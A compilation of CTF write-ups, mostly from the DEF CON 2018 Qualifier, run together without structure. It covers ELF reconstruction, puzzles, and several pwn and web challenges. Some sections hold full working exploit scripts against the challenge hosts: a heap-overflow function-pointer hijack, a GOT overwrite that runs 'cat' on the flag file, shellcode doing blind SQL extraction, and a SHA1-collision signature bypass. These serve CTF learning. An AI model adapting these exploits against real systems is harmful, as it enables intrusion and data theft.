When we run `file broken` we see that it is an ELF executable, but when we run it, it just crashes as the challenge descriptions suggests it will. Looking at the disassembly with `objdump -d ./broken -M intel` (intel syntax because we aren't savages) we see that there are 5 functions in the binary (f1, f2, f3, recover_flag, and main) which have been overwritten with 0x58 which is the pop eax instruction on x86. We can also disassemble the fragments with `objdump -b binary -m i386 -M intel -D fragment_1.dat` and see that they contain pieces of the machine code that we need to copy into the `broken` file.
The first thing we notice is that only 4 of the fragments contain `ret` instructions (`objdump -b binary -m i386 -M intel -D fragment_1.dat | grep ret`) and that fragment 1 actually contains 2 `ret` instructions. This means that fragment 1 must contain the contents of an entire function. We look through the binary and calculate the size of each of the 5 missing functions by looking at the offsets in the disassembly (presumably we could also use objdump or some other utility to get this information from the ELF header as well). We find that the functions have the following sizes and offsets:```f1: 316 0x5ad - 0x6e8
f2: 69 0x6e9 - 0x72d
f3: 116 0x72e - 0x7a1
recover_flag: 58 0x7a2 - 0x7db
main: 248 0x7dc - 0x8d3```
Now we calculate the number of bytes inbetween the two `ret` instructions in fragment 1 which turns out to be 69, so we know that it must be `f2`. We also can look at the sizes of the fragments to find that fragment 7 (283 bytes) can only fit in `f1` and therefore fragment 3 (175 bytes) must be part of `main`. Fragment 4 is the only fragment that has a `ret` instruction at the end, so it has to be the end of `main`. We continue to piece these chunks together by size and location of `ret` instructions until we get it down to 2 possible orderings. The order of the fragments in the original binary must be either `7, 8, 1, 5, 6 , 2 , 3 , 4` or `8, 7, 1, 5, 6 , 2 , 3 , 4`. When we look at the disassembly of fragments 7 and 8, we notice that fragment 8 starts with:```0: 55 push ebp1: 89 e5 mov ebp,esp3: 53 push ebx4: 83 ec 10 sub esp,0x10```Which looks a lot like the start of a function where it is setting up the stack frame, where as fragment 7 starts off with:```0: 0f b6 12 movzx edx,BYTE PTR [edx]3: 88 55 fb mov BYTE PTR [ebp-0x5],dl6: 8b 90 38 00 00 00 mov edx,DWORD PTR [eax+0x38]c: 89 d1 mov ecx,edx```Which seems a bit strange to have at the start of a function. So we conclude that the order is most likely `8, 7, 1, 5, 6 , 2 , 3 , 4`.Now we have to recombine the fragments into the `broken` executable. We can do this with everyone's favorite binary manipulation tool `dd`. We need to start by finding the offset (in decimal) of the start of `f1` (which is 0x5ad or 1453). Now we can use `dd if=fragment_8.dat of=broken bs=1 seek=1453 count=30 conv=notrunc` and then rinse and repeat with the rest of the fragments.
When we run the binary, it prints the flag:`welcOOOme` |
There vulnerability is in the `get_flag`, there is a `strncmp`. Basically, if you provide empty string as one of the parameters, it will return `0` because the `n` parameter is extracted from the provided `token`.
In order to fix it, you just need to replace `strncmp` with `strcmp`. The following line is from objdump. You need to replace `8048c95` with `8113480`:
`80497ae: e8 e2 f4 ff ff call 8048c95 <strncmp>` |
**TL;DR**: `system("../flag");`
Else check the following links to read the full write-up.
* [Quick way](https://rawsec.ml/en/DefCon-2018-Quals-write-up/#quick-way)* [Longer way](https://rawsec.ml/en/DefCon-2018-Quals-write-up/#longer-way)* [Bonus](https://rawsec.ml/en/DefCon-2018-Quals-write-up/#bonus) |
# Fragments (aka ELF Crumble) (102)## ProblemWe're given an executable and eight "fragments", which you canfind in [given_files](./given_files). The executable is broken, and weneed to piece it back together.
## ApproachOpening the executable in a text editor shows that 807 bytes have been overwrittenwith "X". The sum of the sizes of all the executables is also 807, so it seems likely thatwe just have to order the fragments correctly and place them back in the executable.
There is a nice, high-level way to do this by examining the sizes of the functionsand the objdumps of the files... but I want my brain free to focus on other challenges, so brute force it is.
## SolutionSolved with a simple python script, [glue.py](./glue.py). Note that this needs to be run on a32-bit machine; my Kali VM worked.
```Pythonimport itertoolsfrom subprocess import call
# Read the executablebroken_file = open("broken", "rb")broken_text = broken_file.read()broken_file.close()broken_list = broken_text.split("X"*807)
if len(broken_list) != 2: # Error checking print "ERROR: splat incorrectly"
# These are the parts before and after the X'sfirsthalf = broken_list[0]secondhalf = broken_list[1]
# Read all the fragmentsfragments = []for i in xrange(1, 9): frag = open("fragment_"+str(i)+".dat", "rb") fragments.append(frag.read()) frag.close()
filename = "newGuess"# Iterate through each possible permutationfor order in itertools.permutations(fragments): lump = "".join(order)
# We write our guess to newGuess, then try to execute it. f = open(filename, "wb") f.write(firsthalf+lump+secondhalf) f.close() try: #call("chmod u+x newGuess") call("./"+filename) except Exception as e: pass
# Prints "welcOOOme" at somewhere just past the 39000th iteration``` |
```python#!/usr/bin/env python2from pwn import *import requests
"""* will execute our shellcode* only read/write due to prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT)* have to return valid HTTP response otherwise will get 500* can query the db using fd 4 """
context.arch = "amd64"context.os = "linux"
host = "http://b9d6d408.quals2018.oooverflow.io/cgi-bin/"html = """X-Powered-By: PHP/7.0.28-0ubuntu0.16.04.1\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n<html><body>Hello World!</body></html>"""
query = "SELECT * from flag;"
shellcode = ""shellcode += shellcraft.echo(p16(len(query)) + "\x00\x00\x03" + query , 4)shellcode += shellcraft.read(4, 'rsp', 200)shellcode += shellcraft.pushstr(html)shellcode += shellcraft.write(1, 'rsp', 500)
data = { "shell": asm(shellcode) + "\x00"}
resp = requests.post(host + "index.php", data=data)print resp.text
```
--vakzz |
Well this was one of the more interesting flags this year at the DefCon CTF Qualifiers. It was a throw back to pretty cool old school decryption.
Here is what I did to solve it:
1. They give you a single text file and no URL to poke at.2. The content of the text file was as follows:
> Anyo!e!howouldsacrificepo!icyforexecu!!onspeedthink!securityisacomm!ditytop!urintoasy!tem!
Looking at this it is hard at first to make much of a connection out of the data.
3. First I considered the possibility that it required you to shift letters or choose letters in a patterned fashion like every other letter.4. Looking at all of this I wasnt able to make much sense or see a pattern that fit.5. However it dawned on me that if we counted the letters between the ! marks that maybe I could try it as traditional alaphbet cipher.6. The values that you get when you try this method is as follows:
41181101215793
7. At first I tried what is a more traditional alphabet cipher which is as follows:
A=0B=1C=3
and so on.
8. However when I tried this I found that it resulted in an answer that made no sense.9. I thought back to the clue and they mentioned that the flag was in a non-standard form and multiple word seperated with a space.10. Seeing that it had atleast one space in it I noticed the 0 was in the middle of the number string and tried shifting the letters over to allow 0 to equal a space.11. When I did that I got the following:
DARK
LOGIC
12. And with that I found the flag:
dark logic
|
Given binary have a lot of "X"'s in it. In order to find correct binary, combine fragments data and replace with those X's.
Bruteforcing all options.
```import itertools
f = open("broken")brokendata = f.read()f.close()
head = 0x5adtail = 0x8d4
brokenhead = brokendata[0:head]mid = brokendata[head:tail]brokentail = brokendata[tail:]
fragments = []
for i in range(1,9): s = "fragment_" + str(i) + ".dat" print "Reading " + s t = open(s,"r") data = t.read() fragments.append(data) t.close()
print fragments
x = [1,2,3,4,5,6,7,8]
perms = list(itertools.permutations(x,8))
print "Perms created size : " + str(len(perms))
dat = ""
c = 0for idx,i in enumerate(perms): dat = brokenhead for k in i: dat += fragments[k-1] dat += brokentail j = open("bin_"+str(c),"w") j.write(dat) j.close() c += 1 if(c%100): print "bin_" + str(c) +" created" """ bash script to run all of them , correct binary is 39690 so it will take timefor i in {1..40260}doNAME="bin_$i"./$NAMEdone"""```
prints : ```welc00me``` |
by winyl.
TLDR: Instructions were written as hex into fragments. You found the right order and inserted them back to get the program running. The correct order was 8, 7, 1, 5, 6, 2, 3, 4. The flag was welcOOOme. |
TL;DR: a 1 byte overflow allows you to induce a small bias in the nonce used in the DSA signing algorithm. Use LLL to exploit this bias to find the private key. |
**No files provided**
**Description**
> Last year, we planned a party but had some issues with multiple people working at the same time. This year, we've improved communication, but everyone is far away. We need to find the best place to host the after-party minimizing total travel time. > > Note: All of the food needs to be picked up. > > Can you help? If so, please contact pppr.chal.pwning.xxx:3444.
**Solution**
After logging in, we get a question:
Would you like the condensed version? [y/N]
Naturally, we start by reading the verbose version. The challenge is described like this:
You'll need to answer 141 queries about where we should hold our party. For each query, please respond with the index of the city where the party should be held and the sum total travel time for everyone to get there (two space-separated integers). Please find the location that minimizes the total travel time for everyone. Note that the total travel time will be less than 10^18. In this scenario, there are 12 cities, 14 bidirectional roads between them, and 4 people that are coming. Here are where all the people are: There is a person at city 11 There is a person at city 2 There is a person at city 0 There is a person at city 9 Every person also needs to pick up food from exactly one city on the way to the party. Here is a list of where all of the good food is: There is good food at city 10 There is good food at city 3 There is good food at city 7 There is good food at city 2 Now, I'll tell you about the start city, end city, and travel time for each road. There is a road that goes from 0 to 1 and takes 152 minutes to travel along. There is a road that goes from 0 to 4 and takes 586 minutes to travel along. There is a road that goes from 0 to 7 and takes 665 minutes to travel along. There is a road that goes from 1 to 2 and takes 998 minutes to travel along. There is a road that goes from 2 to 9 and takes 475 minutes to travel along. There is a road that goes from 2 to 5 and takes 260 minutes to travel along. There is a road that goes from 3 to 8 and takes 966 minutes to travel along. There is a road that goes from 3 to 6 and takes 871 minutes to travel along. There is a road that goes from 5 to 6 and takes 83 minutes to travel along. There is a road that goes from 6 to 11 and takes 669 minutes to travel along. There is a road that goes from 8 to 9 and takes 571 minutes to travel along. There is a road that goes from 9 to 10 and takes 545 minutes to travel along. There is a road that goes from 9 to 11 and takes 659 minutes to travel along. There is a road that goes from 10 to 11 and takes 436 minutes to travel along. Where should they hold the party, and how long will it take everyone to get there?
And, while reading this, we also get a very quick timeout (~2 seconds):
You ran out of time
The "condensed" version for the above would read:
141 12 14 4 11 2 0 9 10 3 7 2 0 1 152 0 4 586 0 7 665 1 2 998 2 9 475 2 5 260 3 8 966 3 6 871 5 6 83 6 11 669 8 9 571 9 10 545 9 11 659 10 11 436
Note that each query only sends a count of cities, roads, and people. The number of foods is the same as the number of people. I thought it wasn't immediately obvious, but the organisers quickly clarified on IRC and via the note you see in the descrition. So, each person needs to get one food, then head to the meeting city.
A nice algorithmic question!
### Algorithm description ###
The cities and roads form a weighted (non-directed) graph. We use Dijkstra's algorithm to work out the shortest path between each person to each food city. We also do this for each food. We know that all foods need to be collected, so part of our answer will be the sum of the journey distances from all food cities to the meeting point. For this we can simply check each city and sum up the distances from all the foods and keep track of the best (minimum distance) city.
The other part of the problem is to work out which person collects which food. This is more difficult, since the number of assignments for `n` people is `n!` (factorial). Even with 16 people this is an immense number of permutations to consider. Serious optimisation is required.
We first start with a trivial assignment of person 1 to food 1, person 2 to food 2, and so on.
| | F1 | F2 | F3 | F4 || --- | --- | --- | --- | --- || P1 | (4) | 2 | 1 | 3 || P2 | 4 | (4) | 1 | 3 || P3 | 1 | 2 | (5) | 3 || P4 | 8 | 2 | 1 | (1) |
This is obviously rarely the best permutation, but it is only a starting point for the next step, a greedy algorithm – we swap the assignments of pairs of people whenever the total distance decreases.
| | F1 | F2 | F3 | F4 || --- | --- | --- | --- | --- || P1 | (4) | -2- | 1 | 3 || P2 | -4- | (4) | 1 | 3 || P3 | 1 | 2 | (5) | 3 || P4 | 8 | 2 | 1 | (1) |
In the above table, swapping P1 and P2 decreases the total distance by 2. After a couple of steps, there are no more beneficial swaps:
| | F1 | F2 | F3 | F4 || --- | --- | --- | --- | --- || P1 | 4 | (2) | 1 | 3 || P2 | 4 | 4 | (1) | 3 || P3 | (1) | 2 | 5 | 3 || P4 | 8 | 2 | 1 | (1) |
For some time, while working out the solution to this challenge, I thought this solution would always converge to the optimal solution. Fortunately, before this greedy algorithm I first implemented an actual bruteforce checker which simply goes through all the permutations via Heap's algorithm. I say fortunately because this helped me find out that there are situations in which the greedy algorithm will not reach the minimum distance. An example from an actual problem generated by the server:
| | F1 | F2 | F3 | F4 || --- | --- | --- | --- | --- || P1 | 1167 | 1097 | 991 | 1787 || P2 | 1414 | 1489 | 1771 | 1889 || P3 | 1255 | 961 | 1497 | 2001 || P4 | 2054 | 1984 | 1004 | 1800 |
Greedy algorithm solution `[3, 1, 2, 4]`, giving a total distance of `5166`:
| | F1 | F2 | F3 | F4 || --- | --- | --- | --- | --- || P1 | 1167 | 1097 | (991) | 1787 || P2 | (1414) | 1489 | 1771 | 1889 || P3 | 1255 | (961) | 1497 | 2001 || P4 | 2054 | 1984 | 1004 | (1800) |
Bruteforce solution `[1, 4, 2, 3]`, giving a total distance of `5021`:
| | F1 | F2 | F3 | F4 || --- | --- | --- | --- | --- || P1 | (1167) | 1097 | 991 | 1787 || P2 | 1414 | 1489 | 1771 | (1889) || P3 | 1255 | (961) | 1497 | 2001 || P4 | 2054 | 1984 | (1004) | 1800 |
So how come the greedy algorithm could not find this? The swapping algorithm minimises the total distance, but only ever considers what happens when two people's foods are swapped. To reach the optimal solution in this case, it would have to swap people in a cycle of size 3.
This was bad news. I could expand the greedy algorithm to first consider swaps of two, then of cycles of three, and so on. Unfortunately, this makes it just as bad in time complexity as the bruteforce algorithm!
So for the actual solution, the greedy swapping algorithm is applied, but only as a single step before a more thorough check. It is relatively quick (`O(n^2)` for `n` people) and it produces a reasonable "best guess" value for the minimum distance.
The next step is to evaluate all permutations! But with a very important optimisation - pruning. The way people are assigned to food can be modeled as a tree of choices, at each level choosing one of the remaining foods to the next person. An example with 3 people:
P1 -(F1)- P2 -(F2)- P3 -(F3)- [1, 2, 3] | \ | \(F3)- P3 -(F2)- [1, 3, 2] \ |\(F2)- P2 -(F1)- P3 -(F3)- [2, 1, 3] | \ | \(F3)- P3 -(F1)- [2, 3, 1] \ \(F3)- P2 -(F1)- P3 -(F2)- [3, 1, 2] \ \(F2)- P3 -(F1)- [3, 2, 1]
The bruteforce algorithm explores each leaf of this tree. But this is often unnecessary. As we walk down the tree, we add distances one by one to a running total, so our total distance for a given assignment is the value of this running total when we reach a leaf of the tree. But suppose we have already found a solution with a total distance of 200, when exploring a branch that already has a running total of 250 – clearly we cannot find a better solution in that branch, since the distances are all positive and the running total will only ever increase. This is the principle of pruning. Whenever we actually reach a leaf, we reached it because it is a better solution than the current best, so we can remember this one instead.
So we set our best minimum to the result of the greedy swapping algorithm and go through the permutations. How else can we speed the process up?
In the above diagram, the foods are always chosen for each person in the same order (F1, then F2, then F3) if available. Suppose P1 lives in the same city as F3, but is far from all other foods - then F3 is clearly the best assignment for P1, but we first try to give them F1, then F2. If we try to assign foods with shorter distances to people as we are iterating the tree, we improve our chances of finding a better minimum sooner, allowing us to prune away a larger part of the tree. So – we sort each row of the person-food distance table and assign foods in that order at each level.
Finally, there is one more improvement we can make to the pruning. We can remember the minimum of each row in the person-food distance table. At each level of the tree, we can calculate the sum of the row minima of the levels below. Most likely, it would be impossible to reach this mimimum, because it can contain conflicting assignments (i.e. two people assigned to the same food). However, we know we definitely cannot do better than that minimum in the levels below. So, if our running total + the row minima of the levels below exceeds the best known solution, we can stop exploring this branch.
### But … ###
There is a problem. All of the above works very quickly and solves the queries given by the server in fractions of seconds. But sometimes the server rejects the answer. The best I've seen is 24 / 141 queries answered correctly. I thought the problem might be that people cannot cross other food cities before reaching the meeting point, which may be a food city. This required some annoying changes in the code – i.e. when solving distances from food to cities, do Dijkstra's algorithm, but never go to a food city. Then for each food city, look at all of its neighbours and see if each food can reach at least one.
But then I got this query from the server:
9 8 9 6 2 7 8 5 3 0 1 4 5 6 2 1 4 7 8 0 3 0 6 817 0 7 417 1 2 118 2 8 687 2 3 412 2 4 78 4 7 595 5 8 358
In this situation, each city has a food in it, as well as a person. Here is a graph representation:
1 | 6 - 0 - 7 - 4 - 2 - 8 - 5 | 3
Clearly there will always be some people who cannot reach the meeting point without crossing other food cities. E.g. if the meeting point is 2, the person from city 6 has to cross cities 0, 7, and 4.
So, currently I have no idea what could be wrong with my approach. Perhaps I made a mistake in my assumptions, or I'll talk to an admin and find out for sure. |
# INS'hAck 2018: Math killer - hard -
**Category:** MISC |**Points:** 60 |**Description:**
> There's another way to solve the 'Math killer - easy' challenge, if you find it you'll get another flag!>> If you solve it the easy way first, its flag is a hint.>> Reminder: https://math-killer.ctf.insecurity-insa.fr/solve?a=...&b=...&c=...>> [CHALLENGE'S FILE](https://static.ctf.insecurity-insa.fr/chall.png)>> 
## Write-up
Solving the easy one first give us a hint, the easy one flag was `INSA{try_positive_solutions_now}` So, we need to solve the eqation by using only positive numbers. After doing some research I found that [paper](http://ami.ektf.hu/uploads/papers/finalpdf/AMI_43_from29to41.pdf) by Bremner and MacLeod called **An unusual cubic representation problem**.Also, I found a `CoCalc` code implementation written by Alon Amit that solving a similar equation.
I modified the code to be able to solve any a/(b+c)+b/(a+c)+c/(a+b)=N eqation with even N number.
```python
N=6
e=(4*(N^2)) + ((12*N)-3)
f=32*(N+3)
eq=EllipticCurve([0,e,0,f,0]) # Define the elliptic curve corresponding to the equation a/(b+c)+b/(a+c)+c/(a+b)=N
eq.rank()
eq.gens()
P=eq(-200,680) # This is a generator for the group of rational points from ee.gens() result
def orig(P,N): x=P[0] y=P[1] a=(8*(N+3)-x+y)/(2*(N+3)*(4-x)) b=(8*(N+3)-x-y)/(2*(N+3)*(4-x)) c=(-4*(N+3)-(N+2)*x)/((N+3)*(4-x)) da=denominator(a) db=denominator(b) dc=denominator(c) l=lcm(da,lcm(db,dc)) return [a*l,b*l,c*l]
orig(P,N)
m=11 # The smallest integer m such that one of the points mP + T, T ∈ Tor(EN(Q))
u=orig(m*P,N) # Bremner and MacLeod noticed that 11P yields a positive solution for N=6
(a,b,c)=(u[0],u[1],u[2])
```
That give us a 134 digits a,b and c numbers which satisfy a given functional equation.
```python
...
(a,b,c)(20260869859883222379931520298326390700152988332214525711323500132179943287700005601210288797153868533207131302477269470450828233936557, 2250324022012683866886426461942494811141200084921223218461967377588564477616220767789632257358521952443049813799712386367623925971447, 1218343242702905855792264237868803223073090298310121297526752830558323845503910071851999217959704024280699759290559009162035102974023)
a/(b+c)+b/(a+c)+c/(a+b)6
```
By adding the numbers to the given [URL](https://math-killer.ctf.insecurity-insa.fr/solve?a=20260869859883222379931520298326390700152988332214525711323500132179943287700005601210288797153868533207131302477269470450828233936557&b=2250324022012683866886426461942494811141200084921223218461967377588564477616220767789632257358521952443049813799712386367623925971447&c=1218343242702905855792264237868803223073090298310121297526752830558323845503910071851999217959704024280699759290559009162035102974023) and BINGO!
```css{ "flags": { "easy": "INSA{try_positive_solutions_now}", "hard": "INSA{OMG_you_actually_killed_math}" }, "message": "Congrats for solving hard mode ! you get both flags for free :)", "status": "success"}```
The flag is `INSA{OMG_you_actually_killed_math}` |
The challenge is to reconstruct the distorted QR code reflected in the globe in the video, which we do with careful understanding of the structure of a QR code and a little guesswork. |
# DEF CON CTF Qualifier 2018
Written by BFS
BFS consists of four CTF teams form Taiwan: Balsn, Bamboofox, DoubleSigma, KerKerYuan.
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180512-defconctfqual/) of this writeup.**
- [DEF CON CTF Qualifier 2018](#def-con-ctf-qualifier-2018) - [Amuse Bouche](#amuse-bouche) - [ELF Crumble](#elf-crumble) - [You Already Know - warmup](#you-already-know---warmup) - [Easy Pisy - crypto, web](#easy-pisy---crypto-web) - [babypwn1805 - pwn](#babypwn1805---pwn) - [sbva - Web](#sbva---web) - [Appetizers](#appetizers) - [It's-a me!](#its-a-me) - [shellql](#shellql) - [flagsifier - Reverse](#flagsifier---reverse) - [Behavior](#behavior) - [Note Oriented Programming](#note-oriented-programming) - [From The Grill](#from-the-grill) - [elastic cloud compute (memory) corruption](#elastic-cloud-compute-memory-corruption) - [Race Wars](#race-wars) - [Say Hi!](#say-hi) - [exzendtential-crisis (unsolved)](#exzendtential-crisis-unsolved) - [Guest Chefs](#guest-chefs) - [PHP Eval White-List](#php-eval-white-list) - [ghettohackers: Throwback](#ghettohackers-throwback) - [ddtek: Preview](#ddtek-preview) - [reverse](#reverse) - [exploit](#exploit)
## Amuse Bouche
### ELF CrumbleOriginal binary in range 0x05ad ~ 0x08d3 is filled with `X`. Search through all 8! permutation of fragments to get the flag.
### You Already Know - warmup* Open the problem -> F12 -> Network -> Reopen the problem -> See the flag. `OOO{Sometimes, the answer is just staring you in the face. We have all been there}`
### Easy Pisy - crypto, web
- Service
* First service : Server will Recognized pdf input via OCR and sign `(by openssl_sign($data, $signature, $privkey)`, but it will reject to sign on EXECUTE command)
* Second one : Give the signed value and pdf, this service will execute the command(extracted by ocr) if the signed verify.
- We found that this function will `sha1(data)` before signing.
Therefore, draw two command on picture,and put them into the pdf, Google released last year, to get two pdf with sha1-collision.
1. send the picutre 1 (`without EXECUTE`) to first service to `get the signature`
2. pass this signature and sha1-collision pdf ( with `EXECUTE cat<flag`) to get the flag.
[python script](https://github.com/sonickun/sha1-collider/blob/master/collider.py)
### babypwn1805 - pwn* Overwrite the pointer of program name, and trigger `SSP` -> leak information.* Get serveral `libc`.* Overwite `GOT read` with `onegadget` -> with probability 1/16 (correct libc).* `/opt/ctf/babypwn/home/flag`.* `OOO{to_know_the_libc_you_must_become_the_libc}`
```python=#!/usr/bin/env pythonfrom pwn import *import sysimport structimport hashlibimport randomfrom threading import Timer
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution): return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution): h = pow_hash(challenge, solution) return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n): candidate = 0 while True: if check_pow(challenge, n, candidate): return candidate candidate += 1
def hit(): cmd = 'id;LD_PRELOAD='';' cmd += 'cat /opt/ctf/babypwn/home/flag;' cmd += 'ls -al /opt/ctf/babypwn/home/;' cmd += 'source /opt/ctf/babypwn/flag.txt 2>&1;' #cmd += 'python -c \'import pty; pty.spawn("/bin/bash")\'' y.sendline( cmd ) print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337y = remote( host , port )
y.recvuntil( ': ' )challenge = y.recvline().strip()y.recvuntil( ': ' )n = int( y.recvline() )y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ): y.send( p64( 0xffffffffffffffc8 ) ) p = 0xae77 y.send( p16( p ) ) t = Timer(1.0, hit) t.start() y.recvuntil( 'Go' , timeout=1 ) t.cancel()```
### sbva - Web
This is one of the easiest challenges in the comptition.
First, we are given the admin's username and password to login, but the server will return `Incompatible browser detected`. How does the server derect our browser? A quick guess is through the `User-Agent` header. So what if the header does not contain the user agent string?
``` sh$ curl 'http://0da57cd5.quals2018.oooverflow.io/login.php' -d '[email protected]&password=admin' -H 'User-Agent:'`
<br />Notice: Undefined index: HTTP_USER_AGENT in /var/www/html/browsertest.php on line 3
<html> <style scoped> h1 {color:red;} p {color:blue;} </style> <video id="v" autoplay> </video> <script> if (navigator.battery.charging) { console.log("Device is charging.") } </script></html>```
A PHP error occurs above, so the server actually infers our browser through the user agent header. However, there are various user-agent. It's sorts of silly to try each of them since the server might detect the version number as well.
In order to reduce possible user agent, [navigator.battery](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/battery) in javascript is an important clue. It seems that only Chrome and Firefox support this.
Let's try Firefox with different version number first. The Firefox user agent spcification is [here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent/Firefox), though I'm just blindly trying the possibile version number without following the specification.
```python#!/usr/bin/env python3# Python 3.6.5import requestsfrom itertools import product
s = requests.session() for i, j in product(range(0, 6), range(0, 51)): agent = f'Mozilla/{i}.0 (Windows NT 10.0; WOW64; rv:{j}.0) Gecko/20100101 Firefox/{j}.0' headers={'User-Agent': agent} r = s.post('http://0da57cd5.quals2018.oooverflow.io/login.php', data=dict(username='[email protected]', password='admin'), headers=headers) print(r.text, i, j)```
Surprisingly, we get the flag when the user agent is `Mozilla/5.0 (Windows NT 10.0; WOW64; rv:42.0) Gecko/20100101 Firefox/42.0`.
Flag: `OOO{0ld@dm1nbr0wser1sth30nlyw@y}`
## Appetizers
### It's-a me!
* When odering pizza, Mario checks whether the pineapple Emoji Unicode (\xF0\x9F\x8D\x8D) exists for each ingridient, so we can split the Unicode into two ingridients ('\xF0\x90\xF0\x9F' and '\x8D\x8D') to bypass Mario's check* After cooking a pizza with fake pinapple (’\xF0\x90\xF0\x9F’ and ‘\x8D\x8D’), it will trigger a heap overflow vulnerability.* By ordering and cooking some pizzas between the ordering and cooking of the fake pinapple pizza, we can make the heap overflow overwrite the pointer to the ingredient. Since at first we don't have any addresses and the read function appends null byte at the end, we make it so that the pointer to the ingredient with LSB overflowed by 0x00 points to a heap address. Cook the pizza and we leak heap address.* We use the same way to leak libc address, but since now we have heap address, we don't have to partial overwrite the pointer to the ingridient with null byte anymore.* The way to hijack control flow is similar too. There is a pointer to a function pointer on each pizza cooked, which is call when they are admired. We overflow that with one_gadget.* `OOO{cr1m1n4l5_5h0uld_n07_b3_r3w4rd3d_w17h_fl4gs}`
```python#!/usr/bin/env python2
from pwn import *from IPython import embedfrom subprocess import check_outputimport re
context.arch = 'amd64'
r = remote('83b1db91.quals2018.oooverflow.io', 31337)
def PoW(): r.recvuntil('Challenge: ') x = r.recvline().strip() r.recvuntil('n: ') xx = r.recvline().strip() x = subprocess.check_output(['./pow.py', x, xx]) xx = re.findall('Solution: (.*) ->', x)[0] r.sendlineafter('Solution:', xx)
PoW()
def new(name): r.sendlineafter('Choice:', 'N') r.sendlineafter('name?', name)
def login(name): r.sendlineafter('Choice:', 'L') r.sendlineafter('name?', name)
def order(pn, ign, igs): r.sendlineafter('Choice:', 'O') r.sendlineafter('pizzas?', str(pn)) for i in range(pn): r.sendlineafter('ingredients?', str(ign[i])) for j in range(ign[i]): r.sendlineafter('ingridient', flat(igs[i][j]))
def cook(decl): r.sendlineafter('Choice:', 'C') r.sendlineafter('explain', decl)
def admire(): r.sendlineafter('Choice:', 'A')
def leave(): r.sendlineafter('Choice:', 'L')
def please(payload): r.sendlineafter('Choice:', 'P') r.sendlineafter('yourself:', payload)
pineapple = 0x8d8d9ff0tomato = 0x858d9ff0chicken = 0x94909ff0banana = 0x8c8d9ff0poo = 0xa9929ff0
new('A')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('B'*0x30)order(1, [1], [[tomato]])leave()
login('B'*0x30)cook('a'*290)leave()
new('C'*0x50)n = 4order(1, [n], [['a'*20]*n])leave()
login('A')cook('a')please('C'*32)
login('C'*0x50)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0]heap = u64(xx.ljust(8, '\x00'))-0x11e30print 'heap:', hex(heap)
# exaust heapleave()new('D')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()for i in range(9): new(chr(0x45+i)) order(1, [1], [[tomato]]) leave()
new('N')order(1, [2], [['\xf0\x90\xf0\x9f', '\x8d\x8d']])leave()
new('O'*0x30)n = 4order(1, [n], [['a'*16]*n])leave()
login('M')cook('a'*290)leave()
login('N')cook('a')#raw_input("@3")please('C'*24+flat( 0x91, heap+0x132c8, 0x10, 0x10, 0, heap+0x132c8,)+'\x10')
login('O'*0x30)cook('a')x = r.recvuntil('USER MENU')xx = re.findall('BadPizza: (.*)aaaaaaaaaaaaaaaaaaaaa', x)[0][:6]libc = u64(xx.ljust(8, '\x00'))-0x3c4b78print 'libc:', hex(libc)system = libc+0x45390magic = libc+0xf1147leave()
login('D')cook('a')#raw_input("@2")please(flat( [0]*3, 0x21, heap+0x138f0, 0, 0, 0x41, heap+0x138f0+0x10, heap+0x13930, magic,))login('O'*0x30)admire()
r.interactive()
```
### shellql
* We can upload our shellcode and it will be executed* They set prctl(22, 1LL); so we can only trigger `read` `write` `exit`* We can communicate with mysql via fd 4* According to [this](https://dev.mysql.com/doc/internals/en/com-query.html), we can forge a correct mysql packet* However, we cannot read from mysql* Time to use time-based attack`SELECT 1 from flag where (select substring(flag,1,4) from flag) = "OOO{" and SLEEP(10);`
* The exploit script:
```python# coding: utf-8from pwn import *import requestsimport stringimport hashlibcontext.arch='amd64'def mdd5(ss): print ss a=hashlib.md5() a.update(ss) return a.hexdigest()def run(code, timeout=1): s = asm(code) assert( '\0' not in s and len(s) < 1000) try: req = requests.post('http://b9d6d408.quals2018.oooverflow.io/cgi-bin/index.php', data={ 'shell': s }, timeout=timeout) except requests.exceptions.ReadTimeout: print ('Timeout') return 1 else: return 0
def qqq(payload): lenn=p32(len(payload)+1)[0] pp=lenn+'\x00\x00\x00\x03'+payload a=run(shellcraft.write(4, pp, len(pp)) + 'xor rax, rax;' + shellcraft.read(4, 'esp', 4) + 'inc rax; cmp rax, 1; jge .+0; ret', timeout=4) return a
flag=""for i in range(70): for j in "y SQL"+string.printable: if qqq('SELECT 1 from flag where (select substring(flag,1,'+str(len(flag)+1)+') from flag) = "'+flag+j+'" and SLEEP(10);') == 1: flag+=j print flag break
flag2="OOO{"for i in range(4,70): if qqq('SELECT 1 from flag where (select md5(substring(flag,'+str(i)+',1)) from flag) = "'+mdd5(flag[i].upper())+'" and SLEEP(10);') == 1: flag2+=flag[i].upper() else: flag2+=flag[i].lower() print flag2
## flag is OOO{shellcode and webshell is old news, get with the times my friend!}```
### flagsifier - Reverse* Part 1 ##### Behavior * Input is composed of 38 28x28 handwritten English characters. * Random combination of characters will be predicted as class 3. * Repeat a character 38 times will be predicted as class 14~39, which is class A~Z. * Using gradient ascent on input image will not produce readable picture. When we add a constraint that all 38 characters should be the same, class 14~39 can generate input with score 1, but failed on class 1~13. Implies that class 1~13 is consists of multiple characters. * Start with random combination of characters, we use Simulated Annealing to replace characters in input image. We can generate input image for each class with very high score. The images is not unique, but will be similar to ground truth. * Class 0 starts with a lot of `O` that isn't like a flag. * Class 1 is `OOOTHISISA.....MESSAGETOWASTEYOURTIME` which is a fake flag. * Class 2 starts with `OOO`. * Class 3~13 doesn't start with `OOO`. * We guessed Class 2 is true flag, so we generate a lot of possible input images to get probabilities of each character at each position. * Code:
```python#!/usr/bin/python3import sys
dim = int(sys.argv[1])
flag = '......................................'
